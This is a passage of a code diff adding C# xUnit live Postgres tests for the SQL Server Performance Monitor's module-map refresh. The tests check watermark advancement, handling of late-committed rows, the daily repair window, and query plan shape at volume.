+            Assert.Null(await MapRowAsync(c, "A", "0xBEFORE", ct));
+        }
+
+        /* one map row per (server, handle): RENAMED, SHARED x2, NULLS, NULLTHENNAMED, NAMEDTHENNULL, ATBOUND. */
+        Assert.Equal(7, upserted);
+        Assert.Equal(7, await MapCountAsync(c, ct));
+        Assert.Equal(start.AddMinutes(50), await DarlingModuleMap.ReadWatermarkAsync(c, ct));
+    }
+
+    [Fact]
+    public async Task RefreshSince_KeepsTheNewestRowsNamesPerHandle_AcrossRenamesServersNullsAndTheBound()
+    {
+        await RunLiveAsync(async (connection, ct) =>
+        {
+            await SeedAsync(connection, Anchor, ct);
+
+            await using var cmd = new NpgsqlCommand(DarlingModuleMap.RefreshSinceSql, connection);
+            cmd.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = Anchor });
+            await using var reader = await cmd.ExecuteReaderAsync(ct);
+            Assert.True(await reader.ReadAsync(ct));
+            var upserted = reader.GetInt32(0);
+            await reader.CloseAsync();
+
+            await AssertResultAsync(connection, Anchor, upserted, beforeBoundIsExcluded: true, ct);
+        });
+    }
+
+    [Fact]
+    public async Task RefreshDaily_KeepsTheNewestRowsNamesPerHandle_AcrossRenamesServersAndNulls()
+    {
+        await RunLiveAsync(async (connection, ct) =>
+        {
+            /* The daily statement reads now() - 2 days with no bound parameter, so seed three hours back from the
+               wall clock (far inside the window) and leave the before-the-bound case out of the assertion. */
+            var now = DateTime.UtcNow.AddHours(-3);
+            var start = new DateTime(now.Ticks - (now.Ticks % TimeSpan.TicksPerSecond), DateTimeKind.Unspecified);
+            await SeedAsync(connection, start, ct);
+
+            var upserted = await DarlingModuleMap.RefreshAsync(connection, null, ct);
+
+            /* 0xBEFORE is inside the daily window, so it is mapped too: 8 rows, not 7. */
+            Assert.Equal(8, upserted);
+            Assert.Equal("Db|dbo|before_bound|" + At(start.AddTicks(-10)), await MapRowAsync(connection, "A", "0xBEFORE", ct));
+            await using var del = new NpgsqlCommand("DELETE FROM collect.module_map WHERE sql_handle = '0xBEFORE'", connection);
+            await del.ExecuteNonQueryAsync(ct);
+            await AssertResultAsync(connection, start, 7, beforeBoundIsExcluded: false, ct);
+        });
+    }
+
+    /// <summary>The volume seed: 1.2 M rows over 3,000 handles ("a few thousand"; the observed store read 10.6 M rows
+    /// for 21,636 handles), one generate_series statement. What matters to the plan is the rows per group.</summary>
+    private const int VolumeRows = 1_200_000;
+
+    private const int VolumeHandles = 3_000;
+
+    private static async Task SeedVolumeAsync(NpgsqlConnection c, DateTime start, CancellationToken ct)
+    {
+        await using (var seed = new NpgsqlCommand(
+            @"INSERT INTO collect.procedure_stats (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle)
+SELECT 20000000 + g, $1 + (g % 100000) * interval '1 second', 1, 'vol' || (g % 3), 'Db' || (g % 7), 'dbo', 'proc_' || (g % $3), '0x' || (g % $3)
+FROM generate_series(1, $2) AS g", c) { CommandTimeout = 600 })
+        {
+            seed.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = start });
+            seed.Parameters.AddWithValue(VolumeRows);
+            seed.Parameters.AddWithValue(VolumeHandles);
+            await seed.ExecuteNonQueryAsync(ct);
+        }
+
+        await using var analyze = new NpgsqlCommand("ANALYZE collect.procedure_stats", c);
+        await analyze.ExecuteNonQueryAsync(ct);
+    }
+
+    private static IEnumerable<JsonElement> Children(JsonElement node)
+    {
+        if (node.TryGetProperty("Plans", out var plans))
+        {
+            foreach (var child in plans.EnumerateArray())
+            {
+                yield return child;
+            }
+        }
+    }
+
+    private static bool IsNode(JsonElement node, string type) =>
+        node.TryGetProperty("Node Type", out var t) && t.GetString() == type;
+
+    /// <summary>True when a relation scan is reachable from <paramref name="node"/> without passing an aggregate:
+    /// the node's input is the raw rows. A hypertable scan names its CHUNKS in <c>Relation Name</c>, so any
+    /// relation-bearing node counts, not just one named procedure_stats.</summary>
+    private static bool ReadsRawRows(JsonElement node)
+    {
+        foreach (var child in Children(node))
+        {
+            if (IsNode(child, "Aggregate"))
+            {
+                continue;
+            }
+
+            if (child.TryGetProperty("Relation Name", out _) || ReadsRawRows(child))
+            {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    private static void Collect(JsonElement node, List<JsonElement> sorts, List<JsonElement> aggregates)
+    {
+        if (IsNode(node, "Sort"))
+        {
+            sorts.Add(node);
+        }
+
+        if (IsNode(node, "Aggregate"))
+        {
+            aggregates.Add(node);
+        }
+
+        foreach (var child in Children(node))
+        {
+            Collect(child, sorts, aggregates);
+        }
+    }
+
+    /// <summary>Asserts the plan shape of <paramref name="sql"/> over the volume seed: an aggregate sits over the
+    /// relation scan (the <c>src</c> grouping), and no Sort has the raw rows as its input. The since statement binds
+    /// <c>$1</c>; the daily one binds nothing and its seed is placed inside its <c>now() - 2 days</c> window.</summary>
+    private static async Task AssertGroupedBeforeSortAsync(string sql, bool bindsSince)
+    {
+        await RunLiveAsync(async (connection, ct) =>
+        {
+            var seedStart = bindsSince ? Anchor : DateTime.SpecifyKind(DateTime.UtcNow.AddHours(-3), DateTimeKind.Unspecified);
+            await SeedVolumeAsync(connection, seedStart, ct);
+
+            await using var cmd = new NpgsqlCommand("EXPLAIN (FORMAT JSON) " + sql, connection);
+            if (bindsSince)
+            {
+                cmd.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = Anchor });
+            }
+
+            using var plan = JsonDocument.Parse((string)(await cmd.ExecuteScalarAsync(ct))!);
+            var sorts = new List<JsonElement>();
+            var aggregates = new List<JsonElement>();
+            Collect(plan.RootElement[0].GetProperty("Plan"), sorts, aggregates);
+
+            Assert.Contains(aggregates, a => ReadsRawRows(a));
+            foreach (var sort in sorts)
+            {
+                Assert.False(ReadsRawRows(sort),
+                    "A Sort node reads the raw procedure_stats rows with no aggregate between them: the 2.19 GB spill of #5583.");
+            }
+        });
+    }
+
+    [Fact]
+    public async Task RefreshSince_AtVolume_AggregatesUnderSrc_AndNeverSortsTheRawScan()
+    {
+        await AssertGroupedBeforeSortAsync(DarlingModuleMap.RefreshSinceSql, bindsSince: true);
+    }
+
+    [Fact]
+    public async Task RefreshDaily_AtVolume_AggregatesUnderSrc_AndNeverSortsTheRawScan()
+    {
+        await AssertGroupedBeforeSortAsync(DarlingModuleMap.RefreshSql, bindsSince: false);
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingModuleMapRecentRefreshLiveTests.cs b/Darling/Darling.Tests/DarlingModuleMapRecentRefreshLiveTests.cs
new file mode 100644
index 0000000000..5c5fbc35a0
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingModuleMapRecentRefreshLiveTests.cs
@@ -0,0 +1,527 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The module map's refresh watermark and the hourly incremental refresh that advances it (#4605). The watermark
+/// is the largest <c>procedure_stats.collection_time</c> a refresh has read, written in the same statement as the
+/// map upsert; the hourly refresh reads from ten minutes behind it so a row committed late is still picked up.
+/// Every fact mints its own scratch store, seeds at a fixed past anchor, and passes the clock explicitly, so none
+/// reads the wall clock and none touches another class's rows.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class DarlingModuleMapRecentRefreshLiveTests
+{
+    private const string SkipText = "Set DARLING_TEST_PG to a Postgres connection string to run the module map's incremental refresh pins (each mints its own scratch database).";
+
+    private const string Server = "modmap-recent";
+
+    private static readonly DateTime Anchor = new(2026, 1, 10, 12, 0, 0, DateTimeKind.Unspecified);
+
+    private static long s_collectionId = 7_000_000L;
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static async Task RunLiveAsync(Func<NpgsqlConnection, CancellationToken, Task> body)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        Assert.True(await DarlingModuleMap.EnsureTableAsync(connection, null, ct));
+        var bodySucceeded = false;
+        try
+        {
+            await body(connection, ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    private static async Task InsertProcAsync(NpgsqlConnection c, DateTime t, string sqlHandle, string objectName, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand(
+            @"INSERT INTO collect.procedure_stats (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle)
+VALUES ($1,$2,1,$3,'TestDb','dbo',$4,$5)", c);
+        cmd.Parameters.AddWithValue(Interlocked.Increment(ref s_collectionId));
+        cmd.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = t });
+        cmd.Parameters.AddWithValue(Server);
+        cmd.Parameters.AddWithValue(objectName);
+        cmd.Parameters.AddWithValue(sqlHandle);
+        await cmd.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection c, string sql, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand(sql, c);
+        var value = await cmd.ExecuteScalarAsync(ct);
+        return value is DBNull ? null : value;
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection c, string sql, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand(sql, c);
+        await cmd.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<string?> ObjectNameForAsync(NpgsqlConnection c, string sqlHandle, CancellationToken ct) =>
+        (string?)await ScalarAsync(c, $"SELECT object_name FROM collect.module_map WHERE server_name = '{Server}' AND sql_handle = '{sqlHandle}'", ct);
+
+    /// <summary>The second argument of every refresh below: a clock a fixed hour past the anchor, far inside the
+    /// two-day lookback of every seed.</summary>
+    private static DateTime Now => Anchor.AddHours(1);
+
+    [Fact]
+    public async Task TheWatermark_AdvancesWithEachRefresh_AndNeverMovesBack()
+    {
+        await RunLiveAsync(async (connection, ct) =>
+        {
+            await InsertProcAsync(connection, Anchor, "0xRECENT_A", "alpha", ct);
+            Assert.Equal(1, await DarlingModuleMap.RefreshRecentAsync(connection, null, Now, ct));
+            Assert.Equal(Anchor, await DarlingModuleMap.ReadWatermarkAsync(connection, ct));
+
+            /* A newer row moves it forward. */
+            await InsertProcAsync(connection, Anchor.AddMinutes(30), "0xRECENT_A", "alpha", ct);
+            await DarlingModuleMap.RefreshRecentAsync(connection, null, Now, ct);
+            Assert.Equal(Anchor.AddMinutes(30), await DarlingModuleMap.ReadWatermarkAsync(connection, ct));
+
+            /* The newest source rows age out and only an older one is left inside the read window. That run's
+               own maximum is BEHIND the stored watermark; the stored one must hold. */
+            await ExecAsync(connection, "DELETE FROM collect.procedure_stats", ct);
+            await InsertProcAsync(connection, Anchor.AddMinutes(25), "0xRECENT_A", "alpha", ct);
+            await DarlingModuleMap.RefreshRecentAsync(connection, null, Now, ct);
+            Assert.Equal(Anchor.AddMinutes(30), await DarlingModuleMap.ReadWatermarkAsync(connection, ct));
+
+            /* The daily refresh obeys the same rule: its two-day window holds only the older row. */
+            await DarlingModuleMap.RefreshAsync(connection, null, ct);
+            Assert.Equal(Anchor.AddMinutes(30), await DarlingModuleMap.ReadWatermarkAsync(connection, ct));
+        });
+    }
+
+    [Fact]
+    public async Task ARowStampedInTheFuture_NeverCarriesTheWatermarkPastTheStoresClock()
+    {
+        await RunLiveAsync(async (connection, ct) =>
+        {
+            var wall = DateTime.UtcNow;
+            var future = DateTime.SpecifyKind(wall.AddDays(1), DateTimeKind.Unspecified);
+            await InsertProcAsync(connection, future, "0xRECENT_FUTURE", "ahead", ct);
+            await DarlingModuleMap.RefreshRecentAsync(connection, null, wall, ct);
+
+            var watermark = await DarlingModuleMap.ReadWatermarkAsync(connection, ct);
+            Assert.NotNull(watermark);
+            Assert.True(watermark <= DateTime.UtcNow.AddSeconds(5), $"the watermark {watermark:O} ran ahead of the store's clock");
+
+            /* The next hourly refresh still picks up a row stamped now. */
+            var current = DateTime.SpecifyKind(DateTime.UtcNow.AddMinutes(-1), DateTimeKind.Unspecified);
+            await InsertProcAsync(connection, current, "0xRECENT_NOW", "current", ct);
+            await DarlingModuleMap.RefreshRecentAsync(connection, null, DateTime.UtcNow, ct);
+            Assert.Equal("current", await ObjectNameForAsync(connection, "0xRECENT_NOW", ct));
+            Assert.True(await DarlingModuleMap.ReadWatermarkAsync(connection, ct) <= DateTime.UtcNow.AddSeconds(5));
+        });
+    }
+
+    [Fact]
+    public async Task AWatermarkAnOlderBuildWroteAheadOfTheClock_StillLetsTheHourlyRefreshReadRecentRows()
+    {
+        await RunLiveAsync(async (connection, ct) =>
+        {
+            await InsertProcAsync(connection, DateTime.SpecifyKind(DateTime.UtcNow.AddMinutes(-30), DateTimeKind.Unspecified), "0xRECENT_SEED", "seed", ct);
+            await DarlingModuleMap.RefreshRecentAsync(connection, null, DateTime.UtcNow, ct);
+            await ExecAsync(connection, "UPDATE collect.module_map_state SET refreshed_through = (now() AT TIME ZONE 'UTC')::timestamp + interval '1 day' WHERE id = 1", ct);
+
+            var current = DateTime.SpecifyKind(DateTime.UtcNow.AddMinutes(-2), DateTimeKind.Unspecified);
+            await InsertProcAsync(connection, current, "0xRECENT_HEAL", "healed", ct);
+            await DarlingModuleMap.RefreshRecentAsync(connection, null, DateTime.UtcNow, ct);
+
+            Assert.Equal("healed", await ObjectNameForAsync(connection, "0xRECENT_HEAL", ct));
+        });
+    }
+
+    /// <summary>A wall-clock-relative second-precision instant, for the daily refresh: its
+    /// full-read fallback is <see cref="DarlingModuleMap.RefreshSql"/>, whose window is <c>now() - 2 days</c>.</summary>
+    private static DateTime Ago(TimeSpan span)
+    {
+        var t = DateTime.UtcNow - span;
+        return new DateTime(t.Ticks - (t.Ticks % TimeSpan.TicksPerSecond), DateTimeKind.Unspecified);
+    }
+
+    private static async Task<bool> InMapAsync(NpgsqlConnection c, string sqlHandle, CancellationToken ct) =>
+        await ObjectNameForAsync(c, sqlHandle, ct) is not null;
+
+    [Fact]
+    public async Task TheDailyRefresh_WithAWatermark_ReadsTheRepairSlackBehindIt_NotTwoDays()
+    {
+        await RunLiveAsync(async (connection, ct) =>
+        {
+            /* #5519: the map holds one handle and a watermark three hours back. A second handle was stamped an hour
+               before that watermark: the hourly read (watermark less ten minutes) never covers it, and the daily
+               read must (it repairs what the old two-day read repaired). A third is newer than the watermark, and a
+               fourth sits 35 hours behind it, past the repair slack, where the two-day read no longer goes. */
+            var watermark = Ago(TimeSpan.FromHours(3));
+            await InsertProcAsync(connection, watermark, "0xSTART_SEED", "seed", ct);
+            await DarlingModuleMap.RefreshRecentAsync(connection, null, DateTime.UtcNow, ct);
+            Assert.Equal(watermark, await DarlingModuleMap.ReadWatermarkAsync(connection, ct));
+
+            await InsertProcAsync(connection, watermark.AddHours(-1), "0xSTART_BEHIND", "behind", ct);
+            await InsertProcAsync(connection, watermark.AddHours(-35), "0xSTART_FAR", "far", ct);
+            await InsertProcAsync(connection, watermark.AddMinutes(30), "0xSTART_NEW", "new", ct);
+
+            /* The seed row at the watermark is re-read too: the slack reaches back past it. */
+            Assert.Equal(3, await DarlingModuleMap.RefreshAsync(connection, null, ct));
+            Assert.True(await InMapAsync(connection, "0xSTART_NEW", ct));
+            Assert.True(await InMapAsync(connection, "0xSTART_BEHIND", ct));
+            Assert.False(await InMapAsync(connection, "0xSTART_FAR", ct));
+            Assert.Equal(watermark.AddMinutes(30), await DarlingModuleMap.ReadWatermarkAsync(connection, ct));
+        });
+    }
+
+    [Fact]
+    public async Task ALateCommittedRow_StampedADayBeforeTheDaily_IsRepairedByTheDailyRefresh()
+    {
+        await RunLiveAsync(async (connection, ct) =>
+        {
+            /* #5519 review: the hourly refresh keeps the watermark near now, so a daily that fires every 24 hours
+               has to reach back a day plus the lateness, not a few hours. Another server's rows (stamped 20 minutes
+               ago) have moved the shared watermark; server A's row, stamped 20 hours ago, commits only now, behind
+               it. The hourly read (watermark less ten minutes) cannot see it, and a daily read that only
+               reached six hours behind the watermark never repaired it either, so its handle read "(ad hoc)" once raw
+               procedure_stats aged out. */
+            var watermark = Ago(TimeSpan.FromMinutes(20));
+            await InsertProcAsync(connection, watermark, "0xLATE_SEED", "seed", ct);
+            await DarlingModuleMap.RefreshRecentAsync(connection, null, DateTime.UtcNow, ct);
+            Assert.Equal(watermark, await DarlingModuleMap.ReadWatermarkAsync(connection, ct));
+
+            await InsertProcAsync(connection, Ago(TimeSpan.FromHours(20)), "0xLATE_DAILY", "late-daily", ct);
+            await InsertProcAsync(connection, Ago(TimeSpan.FromHours(26)), "0xLATE_START", "late-start", ct);
+
+            /* The hourly path cannot see either row. */
+            Assert.Equal(1, await DarlingModuleMap.RefreshRecentAsync(connection, null, DateTime.UtcNow, ct));
+            Assert.False(await InMapAsync(connection, "0xLATE_DAILY", ct));
+            Assert.False(await InMapAsync(connection, "0xLATE_START", ct));
+
+            /* The daily repairs both (a row stamped 26 hours before it is inside the 30-hour span). */
+            Assert.Equal(3, await DarlingModuleMap.RefreshAsync(connection, null, ct));
+            Assert.True(await InMapAsync(connection, "0xLATE_DAILY", ct));
+            Assert.True(await InMapAsync(connection, "0xLATE_START", ct));
+        });
+    }
+
+    [Fact]
+    public async Task TheDailyRefresh_WithNoWatermark_ReadsTheFullTwoDays()
+    {
+        await RunLiveAsync(async (connection, ct) =>
+        {
+            await InsertProcAsync(connection, Ago(TimeSpan.FromHours(30)), "0xSTART_OLD", "old", ct);
+            await InsertProcAsync(connection, Ago(TimeSpan.FromHours(2)), "0xSTART_RECENT", "recent", ct);
+            Assert.Null(await DarlingModuleMap.ReadWatermarkAsync(connection, ct));
+
+            Assert.Equal(2, await DarlingModuleMap.RefreshAsync(connection, null, ct));
+            Assert.True(await InMapAsync(connection, "0xSTART_OLD", ct));
+            Assert.True(await InMapAsync(connection, "0xSTART_RECENT", ct));
+        });
+    }
+
+    [Fact]
+    public async Task TheDailyRefresh_WithAWatermarkButAnEmptyMap_ReadsTheFullTwoDays()
+    {
+        await RunLiveAsync(async (connection, ct) =>
+        {
+            var watermark = Ago(TimeSpan.FromHours(3));
+            await InsertProcAsync(connection, watermark, "0xSTART_E1", "one", ct);
+            await InsertProcAsync(connection, watermark.AddHours(-1), "0xSTART_E2", "two", ct);
+            await DarlingModuleMap.RefreshRecentAsync(connection, null, DateTime.UtcNow, ct);
+
+            /* The map is rebuilt empty while its state row survives: the watermark vouches for nothing. */
+            await ExecAsync(connection, "DELETE FROM collect.module_map", ct);
+            Assert.NotNull(await DarlingModuleMap.ReadWatermarkAsync(connection, ct));
+
+            Assert.Equal(2, await DarlingModuleMap.RefreshAsync(connection, null, ct));
+            Assert.True(await InMapAsync(connection, "0xSTART_E1", ct));
+            Assert.True(await InMapAsync(connection, "0xSTART_E2", ct));
+        });
+    }
+
+    [Fact]
+    public async Task TheDailyRefresh_WithAWatermark_RepairsRowsCommittedLate_WithinTheRepairSlack_OnlyThere()
+    {
+        await RunLiveAsync(async (connection, ct) =>
+        {
+            /* The hourly path misses a row committed more than ten minutes after its collection_time, because the
+               watermark has moved past it. The daily refresh reads DailyRepairSlack (30 hours) behind the watermark:
+               it repairs rows three and ten hours behind, and leaves one 40 hours behind, where the old read (two
+               days) caught all three. */
+            var watermark = Ago(TimeSpan.FromHours(3));
+            await InsertProcAsync(connection, watermark, "0xDAILY_SEED", "seed", ct);
+            await DarlingModuleMap.RefreshRecentAsync(connection, null, DateTime.UtcNow, ct);
+
+            await InsertProcAsync(connection, watermark.AddHours(-3), "0xDAILY_LATE", "late", ct);
+            await InsertProcAsync(connection, watermark.AddHours(-10), "0xDAILY_LATE10", "late10", ct);
+            await InsertProcAsync(connection, watermark.AddHours(-40), "0xDAILY_TOOLATE", "toolate", ct);
+
+            Assert.Equal(3, await DarlingModuleMap.RefreshAsync(connection, null, ct));
+            Assert.True(await InMapAsync(connection, "0xDAILY_LATE", ct));
+            Assert.True(await InMapAsync(connection, "0xDAILY_LATE10", ct));
+            Assert.False(await InMapAsync(connection, "0xDAILY_TOOLATE", ct));
+            Assert.Equal(watermark, await DarlingModuleMap.ReadWatermarkAsync(connection, ct));
+        });
+    }
+
+    [Fact]
+    public void SinceFor_TakesTheCallersSlack_AndStillStopsAtTheLookbackFloor()
+    {
+        var now = new DateTime(2026, 1, 10, 12, 0, 0, DateTimeKind.Unspecified);
+        /* #5519 review: the span covers the daily's own 24-hour cadence plus a margin, and stays inside the lookback. */
+        Assert.True(DarlingModuleMap.DailyRepairSlack > TimeSpan.FromHours(24));
+        Assert.True(DarlingModuleMap.DailyRepairSlack <= DarlingModuleMap.MaxLookback);
+        Assert.Equal(now.AddHours(-33), DarlingModuleMap.SinceFor(now.AddHours(-3), now, DarlingModuleMap.DailyRepairSlack));
+        Assert.Equal(now - DarlingModuleMap.MaxLookback, DarlingModuleMap.SinceFor(now.AddDays(-5), now, DarlingModuleMap.DailyRepairSlack));
+        Assert.False(DarlingModuleMap.IsCappedByLookback(now.AddHours(-3), now, DarlingModuleMap.DailyRepairSlack));
+        Assert.True(DarlingModuleMap.IsCappedByLookback(now.AddDays(-5), now, DarlingModuleMap.DailyRepairSlack));
+    }
+
+    [Fact]
+    public void TheWorkerStartPath_RunsNoModuleMapRefresh_AndBothRefreshHomesLaunchAfterTheCollectorsStart()
+    {
+        /* #5578: the start path used to await the module map refresh (55.6 s on a large store, a flat two days with no
+           watermark) before the collectors started, so every restart delayed collection by that much. The table ensure
+           stays on the start path (cheap DDL); every refresh runs from the sweep loop, whose first pass launches the
+           collectors, the daily purge and the hourly store-maintenance tick, the last two fire-and-track. The marker is
+           the publish that is the last statement before the sweep loop's first iteration. A rename or a move of any of
+           these names fails this test (each is asserted present) rather than passing vacuously. */
+        var worker = CSharpSourceWalker.StripCommentsAndStrings(RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs"));
+
+        var collectorsStart = worker.IndexOf("_collectorState.PublishCollecting()", StringComparison.Ordinal);
+        Assert.True(collectorsStart > 0, "the collection-start marker (_collectorState.PublishCollecting()) was renamed or removed");
+        Assert.Equal(1, worker.Split("_collectorState.PublishCollecting()").Length - 1);
+
+        var ensure = worker.IndexOf("DarlingModuleMap.EnsureTableAsync(", StringComparison.Ordinal);
+        Assert.True(ensure > 0 && ensure < collectorsStart, "the table ensure must stay on the start path, before the collectors start");
+
+        /* Exactly two refresh call sites: the daily purge's full-or-repair read and the hourly tick's watermarked one.
+           The removed start-up refresh must not come back under either name. */
+        Assert.DoesNotContain("RefreshAtStartAsync", worker, StringComparison.Ordinal);
+        var refreshCalls = new System.Collections.Generic.List<int>();
+        for (var at = worker.IndexOf("DarlingModuleMap.Refresh", StringComparison.Ordinal); at >= 0;
+             at = worker.IndexOf("DarlingModuleMap.Refresh", at + 1, StringComparison.Ordinal))
+        {
+            refreshCalls.Add(at);
+        }
+
+        Assert.Equal(2, refreshCalls.Count);
+        Assert.Contains("DarlingModuleMap.RefreshAsync(moduleMapConnection", worker, StringComparison.Ordinal);
+        Assert.Contains("DarlingModuleMap.RefreshRecentAsync(connection", worker, StringComparison.Ordinal);
+        Assert.Contains("await RefreshModuleMapRecentAsync(stoppingToken);", worker, StringComparison.Ordinal);
+
+        /* The refresh bodies sit in methods below the start path; what matters is where those methods are launched. */
+        var purgeLaunch = worker.IndexOf("TryStartScheduledPurge(", StringComparison.Ordinal);
+        var tickLaunch = worker.IndexOf("TryStartStoreMaintenanceTick(token =>", StringComparison.Ordinal);
+        Assert.True(purgeLaunch > collectorsStart, "the daily purge must launch from the sweep loop, after the collectors start");
+        Assert.True(tickLaunch > collectorsStart, "the hourly store-maintenance tick must launch from the sweep loop, after the collectors start");
+        Assert.DoesNotContain("await TryStartScheduledPurge(", worker, StringComparison.Ordinal);
+        Assert.DoesNotContain("await TryStartStoreMaintenanceTick(", worker, StringComparison.Ordinal);
+        Assert.DoesNotContain("RunStoreMaintenanceTickAsync(stoppingToken)", worker, StringComparison.Ordinal);
+
+        /* Nothing before the collectors start may call either refresh wrapper or the purge body. */
+        var beforeCollectors = worker[..collectorsStart];
+        Assert.DoesNotContain("DarlingModuleMap.Refresh", beforeCollectors, StringComparison.Ordinal);
+        Assert.DoesNotContain("RefreshModuleMapRecentAsync(", beforeCollectors, StringComparison.Ordinal);
+        Assert.DoesNotContain("RunScheduledPurgeAsync(", beforeCollectors, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task TheDailyRefresh_AdvancesTheWatermarkToo()
+    {
+        await RunLiveAsync(async (connection, ct) =>
+        {
+            /* The daily statement reads now() - 2 days, so this seed has to be recent in wall-clock terms. */
+            var recent = DateTime.SpecifyKind(DateTime.UtcNow.AddHours(-3), DateTimeKind.Unspecified);
+            recent = new DateTime(recent.Ticks - (recent.Ticks % TimeSpan.TicksPerSecond), DateTimeKind.Unspecified);
+            await InsertProcAsync(connection, recent, "0xRECENT_D", "daily", ct);
+            Assert.Null(await DarlingModuleMap.ReadWatermarkAsync(connection, ct));
+            Assert.Equal(1, await DarlingModuleMap.RefreshAsync(connection, null, ct));
+            Assert.Equal(recent, await DarlingModuleMap.ReadWatermarkAsync(connection, ct));
+        });
+    }
+
+    [Fact]
+    public async Task TwoConsecutiveRefreshes_LeaveNoGap_ARowCommittedBehindTheWatermarkIsPickedUp()
+    {
+        await RunLiveAsync(async (connection, ct) =>
+        {
+            await InsertProcAsync(connection, Anchor, "0xRECENT_FIRST", "first", ct);
+            await DarlingModuleMap.RefreshRecentAsync(connection, null, Now, ct);
+            Assert.Equal(Anchor, await DarlingModuleMap.ReadWatermarkAsync(connection, ct));
+
+            /* A collection stamped five minutes BEFORE the watermark that only commits now: a reader that began
+               exactly at the watermark would never see it. */
+            await InsertProcAsync(connection, Anchor.AddMinutes(-5), "0xRECENT_LATE", "late", ct);
+            Assert.Null(await ObjectNameForAsync(connection, "0xRECENT_LATE", ct));
+            await DarlingModuleMap.RefreshRecentAsync(connection, null, Now, ct);
+            Assert.Equal("late", await ObjectNameForAsync(connection, "0xRECENT_LATE", ct));
+            Assert.Equal("first", await ObjectNameForAsync(connection, "0xRECENT_FIRST", ct));
+            Assert.Equal(Anchor, await DarlingModuleMap.ReadWatermarkAsync(connection, ct));
+        });
+    }
+
+    [Fact]
+    public async Task AModuleRenamedAfterTheFirstRefresh_IsRenamedInTheMapAfterTheSecond()
+    {
+        await RunLiveAsync(async (connection, ct) =>
+        {
+            await InsertProcAsync(connection, Anchor, "0xRECENT_R", "before_rename", ct);
+            await DarlingModuleMap.RefreshRecentAsync(connection, null, Now, ct);
+            Assert.Equal("before_rename", await ObjectNameForAsync(connection, "0xRECENT_R", ct));
+
+            await InsertProcAsync(connection, Anchor.AddMinutes(20), "0xRECENT_R", "after_rename", ct);
+            await DarlingModuleMap.RefreshRecentAsync(connection, null, Now, ct);
+            Assert.Equal("after_rename", await ObjectNameForAsync(connection, "0xRECENT_R", ct));
+            Assert.Equal(Anchor.AddMinutes(20), await ScalarAsync(connection, $"SELECT last_seen FROM collect.module_map WHERE server_name = '{Server}' AND sql_handle = '0xRECENT_R'", ct));
+        });
+    }
+
+    [Fact]
+    public async Task AnEmptySlice_LeavesTheWatermarkAndItsStampUnchanged()
+    {
+        await RunLiveAsync(async (connection, ct) =>
+        {
+            await InsertProcAsync(connection, Anchor, "0xRECENT_E", "empty", ct);
+            await DarlingModuleMap.RefreshRecentAsync(connection, null, Now, ct);
+            var stamp = await ScalarAsync(connection, "SELECT refreshed_at FROM collect.module_map_state WHERE id = 1", ct);
+            Assert.NotNull(stamp);
+
+            await ExecAsync(connection, "DELETE FROM collect.procedure_stats", ct);
+            Assert.Equal(0, await DarlingModuleMap.RefreshRecentAsync(connection, null, Now, ct));
+            Assert.Equal(Anchor, await DarlingModuleMap.ReadWatermarkAsync(connection, ct));
+            Assert.Equal(stamp, await ScalarAsync(connection, "SELECT refreshed_at FROM collect.module_map_state WHERE id = 1", ct));
+            Assert.Equal(1L, await ScalarAsync(connection, "SELECT count(*) FROM collect.module_map_state", ct));
+        });
+    }
+
+    [Fact]
+    public async Task TheWatermark_ReadsNull_WithNoStateRow_AndWhenTheTableIsGone()
+    {
+        await RunLiveAsync(async (connection, ct) =>
+        {
+            Assert.Null(await DarlingModuleMap.ReadWatermarkAsync(connection, ct));
+
+            /* No watermark: the hourly refresh falls back to the two-day floor and writes the first row. */
+            await InsertProcAsync(connection, Anchor.AddHours(-47), "0xRECENT_OLD", "old", ct);
+            await InsertProcAsync(connection, Anchor.AddHours(-49), "0xRECENT_TOOOLD", "too_old", ct);
+            await DarlingModuleMap.RefreshRecentAsync(connection, null, Now, ct);
+            Assert.Equal("old", await ObjectNameForAsync(connection, "0xRECENT_OLD", ct));
+            Assert.Null(await ObjectNameForAsync(connection, "0xRECENT_TOOOLD", ct));
+
+            await ExecAsync(connection, "DROP TABLE collect.module_map_state", ct);
+            Assert.Null(await DarlingModuleMap.ReadWatermarkAsync(connection, ct));
+            /* The connection survives the failed read, and a refresh without the table warns instead of throwing. */
+            Assert.Equal(0, await DarlingModuleMap.RefreshRecentAsync(connection, null, Now, ct));
+        });
+    }
+
+    [Fact]
